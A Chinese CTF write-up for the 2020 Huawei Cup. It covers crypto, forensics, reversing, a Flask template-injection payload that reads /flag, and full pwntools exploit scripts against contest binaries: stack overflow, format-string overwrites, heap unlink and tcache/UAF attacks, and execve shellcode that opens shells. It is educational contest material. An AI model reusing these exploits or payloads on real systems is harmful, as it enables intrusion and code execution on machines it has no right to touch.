2020 华为杯

密码

Classical

一个txt文件 维吉尼亚无密钥 在线工具直接拿到flag

ezRSA

给了大数n,想到winerattack,上脚本求d,然后解m

import gmpy2
from Crypto.Util.number import *
from gmpy2 import *
n = 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597
e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
d= 8264667972294275017293339772371783322168822149471976834221082393409363691895
c = 235079473042454099807116076488262740135383858230967099540307826273199444131724945298259060669497025680602868465015609167157760611830665379910856647739895018654389167886359502125262006498872925841789249028759026079722290718145036644959479543255350040619949567107916725017078853648984759794085772688267388901151
m = pow(c,d,n)
print(long_to_bytes(m))

Misc

Sign In

Base64解码 Brainfuck to text

](https://i.loli.net/2020/10/23/x4w8v9rHElj3Yam.jpg)![
](https://i.loli.net/2020/10/23/x4w8v9rHElj3Yam.jpg)![

出个流量分析吧

放入WIRESHARK .搜FLAG

出个LSB吧

STEGSOLVE 重新保存得到二维码扫码即可。

出个伪WEB吧

通过时间找到2020年的作为线索,然后直接找到类似字符串。

出个文档吧

word隐写,在选项里找隐藏文字

出个压缩包吧

在winhex中修改,7A改成74 ,在stegsolve中发现两个一半的二维码,用ps拼到一起就行了

出个内存取证吧

volatility imageinfo -f 1.img
volatility filescan -f 1.img --profile=Win2003SP1x86 | grep flag  查看一下文件并匹配一下flag  发现flag.png,dump出来

扫码得到:jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=

系统里的窗口列表:

volatility -f 1.img --profile=Win2003SP1x86 windows

看到 flag.png 是由 explorer.exe 进程里的 Windows 图片查看器打开的。
查看内存并把explorer.exe dump:

volatility -f 1.img --profile=Win2003SP1x86 pslist

explorer.exe 这个进程的内存试试,pid 为 1992。

volatility -f 1.img --profile=Win2003SP1x86 memdump -p 1992 -D ./

对dump出的文件使用binwalk
分离出来png 还有 key 和 iv

aes 加密

密文:jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=
key: Th1s_1s_K3y00000
iv: 1234567890123456

WEB

FLASK

模板注入

‘’[http://202.119.201.199:9001/name=%7B%7B().__class__.__bases__.__getitem__(0)%7D%7D](http://202.119.201.199:9001/name={{().__class__.__bases__.__getitem__(0)}})

[http://202.119.201.199:9001/name=%7B%7B](http://202.119.201.199:9001/name={{)''‘’.class.mro.getitem(2).subclasses().pop(40)('/flag').read()%7D%7D

本地按照常规思路想要LS一下,但是发现IMPORT,FNC,OS等都被办了,绕过实在绕不过去,看到最下边学长写到看看HOME,直接盲猜/flag,得到最终flag。

image-20201023205000472
image-20201023205000472

DOGE

F12有一大串代码,放入控制台,得到BASE64,然后解码(貌似直接抽也可以,看运气)。

RE

hello_world

关键点在如下的语句上

if ( (_BYTE)a2 != ((unsigned __int8)a1 ^ (unsigned __int8)aIsEasyRight[i % strlen(a1)]) )
{
sub_401530();
printf(a1, a2, v4, "wrong!!!");
return 0LL;
}

根据判断条件逆向求解flag即可

EXP:

a = [0x2a,0x26,0x12,0x31,0x1a,0x7,0x11,0x3a,0x2d,0x0f,0x0e,0x1a,0x41,0x4b,0x36,0x43,0x31,0x0,0x3e,0x16,0x17,0x35,0x1d,0x10,0x38,0x11,0x44,0x4a,0x1b,0x2c,0x2b,0x17,0x50,0x3,0x4]
b = 'is_easy_right?'
s = ''
for i in range(35):
s+=chr(a[i]^ord(b[i%14]))
print s

fangcheng

这个题基本逻辑就是一个解方程的题目

for ( i = 0; i <= 3; ++i )
{
dword_407044 = 0;
for ( j = 0; j <= 3; ++j )
dword_407044 += byte_403010[4 * i + j] * byte_40703E[j];
if ( dword_403020[i] != dword_407044 )
return 0LL;
}

在线解方程,求得4个解为

116,103,102,114

flag即为四个解的十六进制再加上flag{}

PWN

login

利用栈溢出修改返回地址,控制程序流,获取shell
EXP:

#!/usr/bin/python
#coding=utf-8
from pwn import *
p = remote('219.219.61.234','10000')
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('gth less than 20):\n')
payload = 'a'*0x20+'a'*0x8+p64(0x4009F7)
p.sendline(payload)
p.recvuntil('password(length less than 20):\n')
p.sendline('aaa')
p.interactive()

login_plus

整数溢出漏洞,输入0x100000000,即4294967296就可以获取shell

note-service

拖入IDA中查看反汇编代码

可以看到非常明显的格式化字符串漏洞,再查看一下保护机制

[*] '/root/ctf/note_service'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开,在这种条件下有两种方法

  • 第一种是泄露栈地址,通过格式化字符串漏洞修改返回地址控制程序流,从而拿到shell
  • 第二种是通过修改__free_hook为one_gadget以获取shell

这里只演示第一种,基本思路是通过格式化字符串漏洞获取__libc_start_main的地址,从而获取libc基地址,构造one_gadget,然后泄露栈地址,通过gdb调试获取泄露的栈地址与返回地址的偏移值,在通过格式化字符串漏洞的任意地址写功能修改返回地址,获取shell
EXP:

#!/usr/bin/python
#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
elf = ELF('./note_service')
if args['REMOTE']:
p = remote('219.219.61.234',10002)
else:
p = process('./note_service')
p.recvuntil('input your name:\n')
p.sendline('aaa')
p.recvuntil('input your note:\n')
p.sendline('%41$p')
p.recvuntil('your note is:\n')
ptr = int(p.recvuntil('\n',drop=True)[2:],16)-231
libc_base = ptr - 0x21ab0
system = libc_base+0x4f2c5
log.info(hex(ptr))
p.recvuntil('is right????\n')
p.sendline('no')
p.recvuntil('input your note:\n')
p.sendline('%38$p')
p.recvuntil('your note is:\n')
stack = int(p.recvuntil('\n',drop=True)[2:],16)-496+0x118
log.info(hex(ptr))
p.recvuntil('is right????\n')
p.sendline('no')
p.recvuntil('input your note:\n')
o1 = (0x100+int(hex(system)[-2:],16))&0xff
o2 = (0x100-(o1)+int(hex(system)[-4:-2],16))&0xff
o3 = (0x100-((o1+o2)&0xff)+int(hex(system)[-6:-4],16))&0xff
o4 = (0x100-((o1+o2+o3)&0xff)+int(hex(system)[-8:-6],16))&0xff
o5 = (0x100-((o1+o2+o3+o4)&0xff)+int(hex(system)[-10:-8],16))&0xff
o6 = (0x100-((o1+o2+o3+o4+o5)&0xff)+int(hex(system)[-12:-10],16))&0xff
payload = '%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn'.format(o1,18,o2,19,o3,20,o4,21,o5,22,o6,23).ljust(0x60,'a')
payload += p64(stack)+p64(stack+1)+p64(stack+2)+p64(stack+3)+p64(stack+4)+p64(stack+5)
log.info(hex(system))
log.info(hex(stack))
log.info(payload)
p.sendline(payload)
p.recvuntil('is right????\n')
p.sendline('yes')
p.interactive()

messagesystem

查看保护机制

[*] '/root/ctf/messagesystem'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

基本思路是泄露libc基地址,构造fake_chunk,利用unlink机制,实现任意地址读写,修改free@got为system函数,这里还要注意绕过tcache机制
EXP:

#!/usr/bin/python
#coding=utf-8
from pwn import *
context.terminal = ['gnome-terminal','-x','sh','-c']
context.binary = './messagesystem'
if args['REMOTE']:
p = remote('219.219.61.234','10003')
else:
p = process('./messagesystem')

context.log_level = 'debug'
elf = ELF('./messagesystem')
free_got = elf.got['free']
def leave(idx,size,payload):
p.recvuntil('choice: ')
p.sendline('1')
p.sendlineafter('Enter your Message id!(0-15)\n',str(idx))
p.sendlineafter('How many character do you want to leave?\n',str(size))
p.recvuntil('What do you want to say?\n')
p.send(payload)

def show(idx):
p.recvuntil('choice: ')
p.sendline('2')
p.sendlineafter('Which Message do you want to show?\n',str(idx))

def delete(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.sendlineafter('Which Message do you want to delete?\n',str(idx))

def edit(idx,payload):
p.recvuntil('choice: ')
p.sendline('4')
p.sendlineafter('Which Message do you want to edit?\n',str(idx))
p.recvuntil('Now enter your Message!\n')
p.send(payload)

def main():
leave(0,0x80,'aaa')
leave(1,0x80,'bbb')
leave(2,0x40,'/bin/sh\x00')
delete(0)
payload = (p64(0)+p64(0x81)+p64(0x601560-0x18)+p64(0x601560-0x10)).ljust(0x80,'\x00')+p64(0x80)+p64(0x90)
leave(0,0x80,payload)
#gdb.attach(p)
for i in range(7):
leave(i+3,0x80,'aaa')
for i in range(7):
delete(i+3)
delete(1)
payload = p64(0)*3+p64(free_got)
edit(0,payload)
show(0)
free_addr = u64(p.recvn(8))
print hex(free_addr)
log.info(hex(free_addr))
libc_base = free_addr-0x97950
system_addr = libc_base+0x4f440
edit(0,p64(system_addr))
delete(2)
p.interactive()

if __name__ == "__main__":
main()

not_implemented_login_service

程序没有开启数据段不可执行保护

[*] '/root/ctf/login'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

因此基本思路是像数据段输入shellcode,利用栈溢出漏洞修改程序返回地址到shellcode,从而执行恶意代码,获取shell
EXP:

#!/usr/bin/python
#coding=utf-8
from pwn import *
context.log_level = 'debug'
if args['REMOTE']:
p = remote('219.219.61.234',10004)
else:
p = process('./login')
elf = ELF('./login')
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.sendlineafter('input your username:\n',shellcode)
payload = 'pwnht\x00'+'a'*0x12+p64(0x601060)
p.sendlineafter('input your password:\n',payload)
p.recvuntil('bye bye\n')
p.interactive()

这里还得要注意绕过密码验证,因此构造payload时,要加上pwnht\x00来绕过密码验证

messagesystem_plus

这一题和前一题messagesystem基本相似,就多了个绕过tcache
EXP:

#!/usr/bin/python
#coding=utf-8
from pwn import *
context.terminal = ['gnome-terminal','-x','sh','-c']
context.binary = './messageSystem_plus'
if args['REMOTE']:
p = remote('219.219.61.234','10005')
else:
p = process('./messageSystem_plus')

context.log_level = 'debug'
elf = ELF('./messageSystem_plus')
free_got = elf.got['free']
def leave(idx,size,payload):
p.recvuntil('choice: ')
p.sendline('1')
p.sendlineafter('Enter your Message id!(0-15)\n',str(idx))
p.sendlineafter('How many character do you want to leave?\n',str(size))
p.recvuntil('What do you want to say?\n')
p.send(payload)

def show(idx):
p.recvuntil('choice: ')
p.sendline('2')
p.sendlineafter('Which Message do you want to show?\n',str(idx))

def delete(idx,*param):
p.recvuntil('choice: ')
p.sendline('3')
p.sendlineafter('choice: ',str(idx))
if idx==1:
for i in range(len(param)):
p.sendlineafter('Which Message do you want to delete?\n',str(param[i]))
p.sendlineafter('Which Message do you want to delete?\n','-1')
else:
p.sendlineafter('Which Message do you want to delete?\n',str(param[0]))

def edit(idx,payload):
p.recvuntil('choice: ')
p.sendline('4')
p.sendlineafter('Which Message do you want to edit?\n',str(idx))
p.recvuntil('Now enter your Message!\n')
p.send(payload)

def main():
leave(0,0x80,'aaa')
leave(1,0x80,'bbb')
leave(2,0x40,'/bin/sh\x00')
delete(2,0)
payload = (p64(0)+p64(0x81)+p64(0x6017A0-0x18)+p64(0x6017A0-0x10)).ljust(0x80,'\x00')+p64(0x80)+p64(0x90)
leave(0,0x80,payload)
#gdb.attach(p)
for i in range(7):
leave(i+3,0x80,'aaa')
for i in range(7):
delete(2,i+3)
delete(2,1)
payload = p64(0)*3+p64(free_got)
edit(0,payload)
show(0)
free_addr = u64(p.recvn(8))
print hex(free_addr)
log.info(hex(free_addr))
libc_base = free_addr-0x97950
system_addr = libc_base+0x4f440
edit(0,p64(system_addr))
delete(2,2)
p.interactive()

if __name__ == "__main__":
main()

mail_service

查看保护机制

[*] '/root/ctf/mail_service'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

这道题的基本思路是,首先通过UAF漏洞获取unsorted_bin的地址,从而泄露libc的基地址。由于每次留下邮件都会创建两个堆。
第一个堆是一个结构体,内容如下,大小为0x40

struct mail_list
{
char receiver[16];
char title[16];
heap * ptr;
long long length;
}

第二个堆的大小可控,因此我们可以构造一个假的mail_list结构体,free掉它,然后通过修改fd指针修改tcache中的下一个堆块,以至于当我们分配一个新的mail_list结构体堆时,系统会把我们构造假的mail_list结构体分配给程序,此时由于UAF漏洞的存在使得我们可以修改mail_list中指向邮件内容的指针,从而造成任意地址读写。
然而由于程序开启了Full RELRO,所以got表不可写,考虑通过libc中的__environ变量泄露栈地址,通过gdb调试确定返回地址的偏移,从而修改返回地址,控制程序流。
EXP:

#!/usr/bin/python
#coding=utf-8
from pwn import *
context.terminal = ['gnome-terminal','-x','sh','-c']
context.binary = './mail_service'
if args['REMOTE']:
p = remote('219.219.61.234','10006')
else:
p = process('./mail_service')
context.log_level = 'debug'
elf = ELF('./mail_service')

def add_mail(idx,receiver,title,length,context):
p.sendlineafter('your choice:\n','1')
p.sendlineafter('your mail index:\n',str(idx))
p.recvuntil('input your receiver:\n')
p.send(receiver.ljust(0x10,'\x00'))
p.recvuntil('input your title:\n')
p.send(title.ljust(0x10,'\x00'))
p.recvuntil('input your mail length:\n')
p.sendline(str(length))
p.recvuntil('input your mail context:\n')
p.send(context)

def show_mail(idx):
p.sendlineafter('your choice:\n','2')
p.sendlineafter('your mail index:\n',str(idx))

def remove_mail(idx):
p.sendlineafter('your choice:\n','3')
p.sendlineafter('your mail index:\n',str(idx))

def edit_mail(idx,receiver,title,context):
p.sendlineafter('your choice:\n','4')
p.sendlineafter('your mail index:\n',str(idx))
p.recvuntil('input your receiver:\n')
p.send(receiver.ljust(0x10,'\x00'))
p.recvuntil('input your title:\n')
p.send(title.ljust(0x10,'\x00'))
p.recvuntil('input your mail context:\n')
p.send(context)

def main():
p.recvuntil('your choice:\n')
p.sendline('1')
p.sendafter('input your name:\n','/bin/sh\x00'.ljust(0x10,'\x00'))
p.sendafter('input your password:\n','/bin/sh\x00'.ljust(0x10,'\x00'))
p.recvuntil('your choice:\n')
p.sendline('2')
p.sendafter('input your name:\n','/bin/sh\x00'.ljust(0x10,'\x00'))
p.sendafter('input your password:\n','/bin/sh\x00'.ljust(0x10,'\x00'))
add_mail(0,'agx','agxaa',0x30,'agxaaagxaa')
add_mail(1,'agx','agxaa',0x80,'agxaa')
add_mail(2,'agx','agxaa',0x10,'agxaa')
for i in range(7):
remove_mail(1)
remove_mail(1)
show_mail(1)
p.recvuntil('context is: ')
malloc_hook = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-96-0x10
log.info(hex(malloc_hook))
libc_addr = malloc_hook -0x3ebc30
one_gadget = libc_addr+0x4f322
environ = libc_addr+0x3ee098
remove_mail(0)
show_mail(0)
p.recvuntil('context is: ')
heap_1 = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
log.info(hex(heap_1))
add_mail(3,'agx','aaaaa',0x30,'aaaaaaaaaa')
edit_mail(3,'aaaaaa','bbbbbb','a'*16+'b'*16+p64(environ)+p64(0x200))
show_mail(0)
p.recvuntil('context is: ')
stack = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
log.info('stack==>'+hex(stack))
edit_mail(3,'aaaaaa','bbbbbb','a'*16+'b'*16+p64(stack-272)+p64(0x200))
edit_mail(0,'ccc','dddd',p64(one_gadget))

#gdb.attach(p)
log.info('one_gadget==>'+hex(one_gadget))
p.sendlineafter('your choice:\n','5')
p.interactive()

if __name__ == "__main__":
main()

safe_vpn

这道题应该是一道非预期,由于文件指针在读取完之后会指向文件尾,再次读取就会读取到空字符,在该程序中,文件指针没有刷新,因此,我们在读取一次文件后,只要再输入两个空字符就可以获取shell

#!/usr/bin/python
#coding=utf-8
from pwn import *
context.terminal = ['gnome-terminal','-x','sh','-c']
context.binary = './vpn'
if args['REMOTE']:
p = remote('219.219.61.234','20007')
else:
p = process('./vpn')
context.log_level = 'debug'
elf = ELF('./vpn')
p.recvuntil('input your user name\n')
p.send('a'*0x100)
p.sendafter('input your password\n','b'*0x100)
p.recvuntil('input your user name\n')
p.send('\x00')
p.sendafter('input your password\n','\x00')
p.interactive()